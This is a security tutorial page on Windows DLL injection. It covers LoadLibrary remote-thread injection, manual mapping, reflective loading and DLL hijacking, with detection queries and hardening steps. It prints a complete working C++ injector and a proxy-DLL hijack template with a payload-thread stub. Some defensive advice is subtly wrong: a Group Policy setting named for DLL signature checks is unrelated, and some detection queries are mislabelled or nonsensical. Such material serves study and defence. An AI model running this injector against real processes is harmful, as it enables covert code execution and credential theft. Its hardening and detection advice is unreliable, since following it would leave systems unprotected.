Skip to Content
DLL injection techniques visualization showing process memory manipulation and code injection methods

DLL Injection Techniques

DLL injection methods on Windows, covering classic LoadLibrary injection, manual mapping, reflective DLL injection and DLL hijacking, with detection and hardening.

Jan 26, 2026
Updated Nov 22, 2026
42 min read

Introduction

DLL injection loads a Dynamic Link Library into the address space of a running process, so the injected code runs in that process's security context. From there it can change program behaviour, intercept function calls, read credentials the process handles, and hide inside a process that defenders trust.

Dual-use technique

DLL injection is also a legitimate technique, used for hot-patching, debugging, profiling and extending applications. Malware, rootkits and APT tooling use it for the same reasons.

Why DLL injection matters

Legitimate use cases

Development and maintenance tools inject DLLs for:

  • hot patching, to update a running application without a restart (e.g., Azure servers)
  • API hooking, to monitor and modify application behaviour while debugging
  • performance profiling, by injecting instrumentation code
  • plugin systems that extend an application at runtime
  • compatibility shims that patch legacy applications for a newer OS

Security and IT operations products do it too:

  • Endpoint Detection and Response (EDR) agents inject to monitor process behaviour
  • Data Loss Prevention (DLP) agents intercept and inspect data transfers
  • application virtualization redirects file and registry operations
  • privilege management tools inject credential prompts and access controls

Malicious use cases

Evasion:

  • Run malicious code inside trusted processes (e.g., explorer.exe, svchost.exe)
  • Bypass application whitelisting and endpoint protection
  • Hide from process monitoring and task managers
  • Evade signature-based detection

Credential theft:

  • Hook authentication APIs to capture plaintext passwords
  • Inject into lsass.exe to extract credentials from memory
  • Intercept browser and application authentication

Privilege escalation:

  • Inject into SYSTEM-level processes
  • Manipulate security tokens within privileged contexts
  • Bypass User Account Control (UAC) through trusted processes

Persistence and lateral movement:

  • Stay resident by injecting into long-running processes
  • Move laterally by injecting into remote processes via network protocols
  • Run command and control channels through legitimate processes

DLL injection techniques

Classic LoadLibrary injection

The most common method uses the Windows LoadLibrary API to load a DLL into the target process's address space.

How LoadLibrary injection works

Open the target process

Use OpenProcess to get a handle with the permissions the next steps need:

HANDLE hProcess = OpenProcess(
    PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
    PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
    FALSE,
    targetProcessID
);

Allocate memory in the target

Allocate memory in the target process for the DLL path:

LPVOID pRemoteMemory = VirtualAllocEx(
    hProcess,
    NULL,
    strlen(dllPath) + 1,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

Write the DLL path

Write the DLL path string into the allocated memory:

WriteProcessMemory(
    hProcess,
    pRemoteMemory,
    dllPath,
    strlen(dllPath) + 1,
    NULL
);

Get the LoadLibrary address

Retrieve the address of LoadLibraryA from kernel32.dll:

LPVOID pLoadLibrary = (LPVOID)GetProcAddress(
    GetModuleHandle("kernel32.dll"),
    "LoadLibraryA"
);

Create a remote thread

Run LoadLibraryA in the target process via a remote thread:

HANDLE hThread = CreateRemoteThread(
    hProcess,
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)pLoadLibrary,
    pRemoteMemory,
    0,
    NULL
);

Complete implementation

Full C++ LoadLibrary injector:

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

DWORD GetProcessIdByName(const char* processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hSnapshot, &pe32)) {
        CloseHandle(hSnapshot);
        return 0;
    }

    DWORD pid = 0;
    do {
        if (_stricmp(pe32.szExeFile, processName) == 0) {
            pid = pe32.th32ProcessID;
            break;
        }
    } while (Process32Next(hSnapshot, &pe32));

    CloseHandle(hSnapshot);
    return pid;
}

BOOL InjectDLL(DWORD processID, const char* dllPath) {
    printf("[*] Attempting to inject DLL into PID: %d\n", processID);

    // Step 1: Open target process
    HANDLE hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
        FALSE,
        processID
    );

    if (hProcess == NULL) {
        printf("[-] Failed to open target process. Error: %d\n", GetLastError());
        return FALSE;
    }

    printf("[+] Opened target process handle: 0x%p\n", hProcess);

    // Step 2: Allocate memory in target process
    SIZE_T dllPathLen = strlen(dllPath) + 1;
    LPVOID pRemoteMemory = VirtualAllocEx(
        hProcess,
        NULL,
        dllPathLen,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );

    if (pRemoteMemory == NULL) {
        printf("[-] Failed to allocate memory in target process. Error: %d\n", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }

    printf("[+] Allocated memory at: 0x%p\n", pRemoteMemory);

    // Step 3: Write DLL path to allocated memory
    if (!WriteProcessMemory(hProcess, pRemoteMemory, dllPath, dllPathLen, NULL)) {
        printf("[-] Failed to write DLL path to target process. Error: %d\n", GetLastError());
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    printf("[+] Wrote DLL path to target process memory\n");

    // Step 4: Get LoadLibraryA address
    HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
    if (hKernel32 == NULL) {
        printf("[-] Failed to get kernel32.dll handle\n");
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    LPVOID pLoadLibrary = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");
    if (pLoadLibrary == NULL) {
        printf("[-] Failed to get LoadLibraryA address. Error: %d\n", GetLastError());
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    printf("[+] LoadLibraryA address: 0x%p\n", pLoadLibrary);

    // Step 5: Create remote thread
    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)pLoadLibrary,
        pRemoteMemory,
        0,
        NULL
    );

    if (hThread == NULL) {
        printf("[-] Failed to create remote thread. Error: %d\n", GetLastError());
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    printf("[+] Created remote thread. TID: %d\n", GetThreadId(hThread));

    // Wait for thread to complete
    WaitForSingleObject(hThread, INFINITE);

    // Get thread exit code (HMODULE of loaded DLL)
    DWORD exitCode;
    GetExitCodeThread(hThread, &exitCode);

    if (exitCode == 0) {
        printf("[-] DLL injection failed. LoadLibrary returned NULL\n");
    } else {
        printf("[+] DLL successfully injected! Module base: 0x%X\n", exitCode);
    }

    // Cleanup
    CloseHandle(hThread);
    VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
    CloseHandle(hProcess);

    return (exitCode != 0);
}

int main(int argc, char* argv[]) {
    if (argc != 3) {
        printf("Usage: %s <process_name> <dll_path>\n", argv[0]);
        printf("Example: %s notepad.exe C:\\\\malicious.dll\n", argv[0]);
        return 1;
    }

    const char* processName = argv[1];
    const char* dllPath = argv[2];

    // Check if DLL exists
    if (GetFileAttributes(dllPath) == INVALID_FILE_ATTRIBUTES) {
        printf("[-] DLL not found: %s\n", dllPath);
        return 1;
    }

    // Get target process ID
    DWORD pid = GetProcessIdByName(processName);
    if (pid == 0) {
        printf("[-] Process not found: %s\n", processName);
        return 1;
    }

    printf("[*] Target Process: %s (PID: %d)\n", processName, pid);
    printf("[*] DLL Path: %s\n", dllPath);

    if (InjectDLL(pid, dllPath)) {
        printf("[+] Injection completed successfully!\n");
        return 0;
    } else {
        printf("[-] Injection failed\n");
        return 1;
    }
}

Creating an injected DLL

The injected DLL needs an entry point (DllMain), which runs when the DLL is loaded:

#include <windows.h>
#include <stdio.h>

// DLL entry point
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // Code executed when DLL is loaded
        MessageBoxA(NULL, "DLL Injected Successfully!", "Injection", MB_OK);

        // Create a file to prove execution
        FILE* fp = fopen("C:\\Temp\\injected.txt", "w");
        if (fp) {
            fprintf(fp, "DLL injected at: %s\n", __TIMESTAMP__);
            fclose(fp);
        }

        // Launch calculator as proof of execution
        WinExec("calc.exe", SW_SHOW);
        break;

    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

DllMain restrictions

DllMain runs under the loader lock, which limits what is safe to do in it:

  • Don't call LoadLibrary/LoadLibraryEx
  • Don't wait on or synchronize with other threads
  • Keep the code short and fast
  • Microsoft's DLL best practices list CreateThread among the calls to avoid: "Creating a thread can work if you do not synchronize with other threads, but it is risky"
  • Injected DLLs that start a payload thread from DllMain, as the examples in this note do, depend on that exception. Start the thread and return. Never wait for it inside DllMain

Manual mapping

Manual mapping loads a DLL into a process's memory without calling Windows loader functions such as LoadLibrary. The injector does the loader's work itself, so detections that watch LoadLibrary calls see nothing.

Why manual mapping?

Advantages:

  • The DLL doesn't appear in the module lists (PEB)
  • API hooks on LoadLibrary are bypassed
  • You control every stage of the load
  • The DLL can be loaded from memory without touching disk

Disadvantages:

  • You have to handle imports, relocations and TLS yourself
  • A mistake in any of them crashes the target process
  • The injector code is much larger

Manual mapping process

Read the DLL from disk

Load the DLL file into memory:

HANDLE hFile = CreateFileA(dllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
LPVOID fileBuffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ReadFile(hFile, fileBuffer, fileSize, NULL, NULL);
CloseHandle(hFile);

Parse the PE headers

Read the fields you need from the PE structure:

PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)fileBuffer + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = &pNtHeaders->OptionalHeader;

Allocate memory in the target

LPVOID pTargetBase = VirtualAllocEx(
    hProcess,
    NULL,
    pOptionalHeader->SizeOfImage,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);

Write the headers

WriteProcessMemory(hProcess, pTargetBase, fileBuffer, pOptionalHeader->SizeOfHeaders, NULL);

Write the sections

PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);

for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
    WriteProcessMemory(
        hProcess,
        (LPVOID)((LPBYTE)pTargetBase + pSectionHeader[i].VirtualAddress),
        (LPVOID)((LPBYTE)fileBuffer + pSectionHeader[i].PointerToRawData),
        pSectionHeader[i].SizeOfRawData,
        NULL
    );
}

Resolve imports

Write shellcode to the target process that resolves the import table.

Perform relocations

Apply base relocations if the DLL was loaded at a different address than its preferred base.

Execute TLS callbacks

Call the Thread Local Storage callbacks if there are any.

Call the entry point

Execute DllMain (or a custom entry point).

Complexity trade-off

Manual mapping means handling PE structures, import resolution and relocations yourself. In return it gets past detections built around the Windows loader.

Reflective DLL injection

In reflective DLL injection the DLL carries its own loader. It can load itself into a process from memory, with no external loader involved.

Key characteristics

Self-loading:

  • The DLL contains a ReflectiveLoader function
  • The loader parses its own headers
  • It resolves its own imports
  • It applies its own relocations

Memory-only:

  • The DLL never touches disk
  • It is loaded entirely from memory
  • File-based detection has nothing to scan

Small footprint:

  • Small bootstrap shellcode
  • A single CreateRemoteThread call
  • No LoadLibrary call in the API sequence

Stephen Fewer's implementation

The reference implementation is by Stephen Fewer (GitHub).

The ReflectiveLoader function:

DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) {
    // 1. Find our own image base in memory
    ULONG_PTR uiLibraryAddress = caller();

    // 2. Parse our own PE headers
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)uiLibraryAddress;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + pDosHeader->e_lfanew);

    // 3. Find kernel32.dll export table to resolve API addresses
    HMODULE hKernel32 = GetKernel32();
    FARPROC pLoadLibraryA = GetProcAddressR(hKernel32, "LoadLibraryA");
    FARPROC pGetProcAddress = GetProcAddressR(hKernel32, "GetProcAddress");
    FARPROC pVirtualAlloc = GetProcAddressR(hKernel32, "VirtualAlloc");

    // 4. Allocate memory for our image
    LPVOID pImageBase = VirtualAlloc(NULL, pNtHeaders->OptionalHeader.SizeOfImage,
                                      MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 5. Copy sections to new location
    CopySections(uiLibraryAddress, pImageBase, pNtHeaders);

    // 6. Process import table
    ProcessImports(pImageBase, pNtHeaders, pLoadLibraryA, pGetProcAddress);

    // 7. Process relocations
    ProcessRelocations(pImageBase, pNtHeaders);

    // 8. Call DllMain
    DllMain(pImageBase, DLL_PROCESS_ATTACH, NULL);

    // 9. Return the new base address
    return (ULONG_PTR)pImageBase;
}

The injection process:

// Read reflective DLL into memory
LPVOID dllBuffer = ReadDLLIntoMemory("reflective.dll");

// Find ReflectiveLoader export
DWORD loaderOffset = GetReflectiveLoaderOffset(dllBuffer);

// Allocate memory in target and write DLL
LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, dllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteBuffer, dllBuffer, dllSize, NULL);

// Calculate remote ReflectiveLoader address
LPVOID remoteLoader = (LPVOID)((DWORD_PTR)remoteBuffer + loaderOffset);

// Execute ReflectiveLoader via remote thread
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteLoader, NULL, 0, NULL);

Why it evades detection

Reflective DLL injection is hard to detect because there are:

  • No LoadLibrary calls
  • No on-disk artifacts
  • Few suspicious API calls
  • No external loader

DLL hijacking

DLL hijacking abuses the Windows DLL search order to get a malicious DLL loaded in place of the real one. When an application doesn't give the full path to a DLL, Windows searches a fixed list of directories in order.

DLL search order

With Safe DLL Search Mode enabled (the default):

  1. The directory from which the application is loaded
  2. The system directory (C:\Windows\System32)
  3. The 16-bit system directory (C:\Windows\System)
  4. The Windows directory (C:\Windows)
  5. The current directory
  6. Directories listed in PATH environment variable

With Safe DLL Search Mode disabled:

  1. The directory from which the application is loaded
  2. The current directory (moved up from fifth place)
  3. The system directory
  4. The 16-bit system directory
  5. The Windows directory
  6. Directories listed in PATH

Finding vulnerable DLLs

Using Sysinternals Process Monitor:

Download and launch ProcMon

Download from Microsoft Sysinternals

Configure filters

Set filters to show only relevant events:

  • Process Name: set to the target executable (e.g., application.exe)
  • Operation: is → CreateFile (a Load Image event is only logged once a DLL has been found and mapped, so it never has this result)
  • Result: is → NAME NOT FOUND
  • Path: ends with → .dll

Launch the target application

Run the application you're analyzing.

Review the results

Look for DLL load attempts that failed with "NAME NOT FOUND".

Identify hijackable DLLs

Focus on DLLs loaded from:

  • Application directory
  • Current directory
  • Writable locations
  • Writable locations

Example ProcMon output:

Time          Process      Operation   Path                              Result
12:34:56.123  app.exe      CreateFile  C:\Program Files\App\missing.dll  NAME NOT FOUND
12:34:56.234  app.exe      CreateFile  C:\Users\Public\missing.dll       NAME NOT FOUND

DLL proxying attack

A proxy DLL is a malicious DLL that:

  1. Loads the legitimate DLL
  2. Forwards all function calls to the legitimate DLL
  3. Executes malicious code in the background

Example, proxying library.dll:

// malicious.cpp - Proxy DLL
#include <windows.h>

// Original DLL functions
typedef int (*AddFunc)(int, int);

// Export that proxies to original
extern "C" __declspec(dllexport) int Add(int a, int b) {
    // Load original DLL (renamed to library.o.dll)
    HMODULE hOriginal = LoadLibraryA("library.o.dll");

    if (hOriginal) {
        // Get original Add function
        AddFunc originalAdd = (AddFunc)GetProcAddress(hOriginal, "Add");

        if (originalAdd) {
            // Execute malicious code
            MessageBoxA(NULL, "DLL Hijacked!", "Alert", MB_OK);

            // Call original function
            int result = originalAdd(a, b);

            // Tamper with result
            return result + 1;  // Malicious modification
        }
    }

    return -1;
}

// DllMain for additional malicious actions
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // Stealthy payload execution
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MaliciousPayload, NULL, 0, NULL);
        break;
    }
    return TRUE;
}

DWORD WINAPI MaliciousPayload(LPVOID param) {
    // Reverse shell, keylogger, credential theft, etc.
    // ...
    return 0;
}

Deployment:

  1. Rename original library.dll to library.o.dll
  2. Place malicious DLL as library.dll
  3. Application loads malicious DLL
  4. Malicious DLL proxies calls to original

Detection and monitoring

Behavioral detection

Suspicious API call sequences

Monitor for API patterns associated with injection:

// Example: CreateRemoteThread detection
SecurityEvent
| where EventID == 4688  // Process creation
| where CommandLine contains "CreateRemoteThread" or
        NewProcessName endswith "\\injector.exe"
| project TimeGenerated, Computer, SubjectUserName, NewProcessName, CommandLine

// Sysmon Event ID 8: CreateRemoteThread
SysmonEvent
| where EventID == 8
| where TargetImage !in (
    "C:\\Windows\\System32\\svchost.exe",
    "C:\\Windows\\System32\\wbem\\WmiPrvSE.exe"
)
| project TimeGenerated, Computer, SourceImage, TargetImage, SourceProcessId, TargetProcessId
| summarize Count = count() by Computer, SourceImage, TargetImage
| where Count > 1

API sequences to alert on:

  • OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread
  • NtCreateThreadEx instead of CreateRemoteThread (used to avoid the common hook)
  • QueueUserAPC for APC injection
  • SetWindowsHookEx for SetWindowsHook injection

Module load anomalies

Detect DLLs loaded from suspicious locations:

// Sysmon Event ID 7: Image (DLL) loaded
SysmonEvent
| where EventID == 7
| where ImageLoaded startswith "C:\\Users\\" or
        ImageLoaded startswith "C:\\ProgramData\\" or
        ImageLoaded startswith "C:\\Temp\\"
| where ImageLoaded endswith ".dll"
| where Process !in (
    "C:\\Program Files\\Application\\app.exe",  // Whitelist known good
    "C:\\Windows\\Explorer.exe"
)
| project TimeGenerated, Computer, Process, ImageLoaded, User
| summarize Count = count(), FirstSeen = min(TimeGenerated)
    by Computer, Process, ImageLoaded

Suspicious indicators:

  • DLLs loaded from user directories
  • DLLs without digital signatures
  • DLLs with mismatched metadata
  • Unknown DLLs in system processes

Process hollowing detection

Monitor for processes with suspicious memory characteristics:

// Memory protection changes (Sysmon Event ID 10)
SysmonEvent
| where EventID == 10  // ProcessAccess
| where GrantedAccess in ("0x1fffff", "0x1f0fff")  // PROCESS_ALL_ACCESS
| where TargetImage endswith "\\explorer.exe" or
        TargetImage endswith "\\svchost.exe"
| where SourceImage !endswith "\\taskmgr.exe"
| project TimeGenerated, Computer, SourceImage, TargetImage, GrantedAccess

Memory integrity checks:

  • Processes with executable memory not backed by files on disk
  • Modified PE headers in memory
  • Unexpected memory protection changes (PAGE_EXECUTE_READWRITE)

EDR and AV detection

EDR products detect injection at several layers.

User-mode hooking:

  • Intercept API calls (CreateRemoteThread, WriteProcessMemory, etc.)
  • Detect suspicious parameter combinations
  • Monitor call chains and context

Kernel-mode monitoring:

  • Driver-level process and thread creation monitoring
  • Memory allocation tracking
  • Cross-process operations detection

Machine learning:

  • Behavioral analysis of API call patterns
  • Anomaly detection for process behavior
  • Historical baseline comparison

Signature-based detection:

  • Known malware DLL signatures
  • Malicious code patterns
  • IOC (Indicator of Compromise) matching

Evasion vs detection

Current malware uses direct syscalls, unhooking and reflective loading to get past these layers, so no single one of them is enough.

Mitigation and hardening

Application control

Deploy AppLocker or WDAC

# Example AppLocker rules to prevent DLL injection

# Block DLLs from user directories
$userDirRule = @"
<FilePathRule Id="blockunsigneddll" Name="Block Unsigned DLLs from User Dirs" Description="" UserOrGroupSid="S-1-1-0" Action="Deny">
  <Conditions>
    <FilePathCondition Path="%OSDRIVE%\Users\*\*.dll" />
  </Conditions>
</FilePathRule>
"@

# Only allow signed DLLs
New-AppLockerPolicy -RuleType Publisher -Path C:\Temp\dll_rules.xml -RuleNamePrefix "Signed" -User Everyone -FileInformation (Get-ChildItem C:\Windows\System32\*.dll | Get-AppLockerFileInformation)

# Apply policy
Set-AppLockerPolicy -XMLPolicy C:\Temp\dll_rules.xml

Enable DLL signature validation

# Require signed DLLs via Group Policy
# Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options
# "System cryptography: Force strong key protection for user keys stored on the computer"

Restrict LoadLibrary paths

// In your application code
// Use LOAD_LIBRARY_SEARCH_SYSTEM32 flag
HMODULE hModule = LoadLibraryEx(
    "library.dll",
    NULL,
    LOAD_LIBRARY_SEARCH_SYSTEM32
);

Process mitigation policies

Turn on the exploit mitigation policies:

# Enable Control Flow Guard (CFG)
Set-ProcessMitigation -System -Enable CFG

# Enable Arbitrary Code Guard (ACG)
Set-ProcessMitigation -System -Enable DynamicCode

# Enable Binary Image Signature verification
Set-ProcessMitigation -System -Enable EnforceModuleDependencySigning

# View current mitigations
Get-ProcessMitigation -System
MitigationWhat it does
Control Flow Guard (CFG)Prevents control flow hijacking
Arbitrary Code Guard (ACG)Blocks dynamic code generation
Export Address Filtering (EAF)Prevents API address leaks
Import Address Filtering (IAF)Validates import table
SEHOPPrevents SEH chain corruption

Secure coding practices

Always specify full DLL paths:

// Bad: Vulnerable to DLL hijacking
HMODULE hModule = LoadLibrary("library.dll");

// Good: Full path specified
HMODULE hModule = LoadLibrary("C:\\Program Files\\Application\\library.dll");

// Best: Use system directory search
HMODULE hModule = LoadLibraryEx("library.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);

Validate DLL signatures:

#include <wintrust.h>
#include <softpub.h>

BOOL VerifyDLLSignature(LPCWSTR filePath) {
    WINTRUST_FILE_INFO fileInfo = {0};
    fileInfo.cbStruct = sizeof(WINTRUST_FILE_INFO);
    fileInfo.pcwszFilePath = filePath;

    WINTRUST_DATA trustData = {0};
    trustData.cbStruct = sizeof(WINTRUST_DATA);
    trustData.dwUIChoice = WTD_UI_NONE;
    trustData.fdwRevocationChecks = WTD_REVOKE_NONE;
    trustData.dwUnionChoice = WTD_CHOICE_FILE;
    trustData.pFile = &fileInfo;

    GUID actionGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;

    LONG status = WinVerifyTrust(NULL, &actionGUID, &trustData);

    return (status == ERROR_SUCCESS);
}

Defense checklist

  • Use application control (AppLocker/WDAC) for DLL loading
  • Enable process mitigation policies (CFG, ACG, etc.)
  • Deploy an EDR with behavioral detection
  • Monitor for suspicious API call patterns (CreateRemoteThread, etc.)
  • Configure Sysmon with DLL load and process access monitoring
  • Validate DLL signatures before loading in custom applications
  • Use full paths or system-only search for LoadLibrary calls
  • Apply least privilege to service accounts and applications
  • Review the loaded modules in critical processes regularly
  • Have incident response procedures for injection detection

References

MITRE ATT&CK techniques

Common Weakness Enumeration

Microsoft documentation

Tools documentation

On this page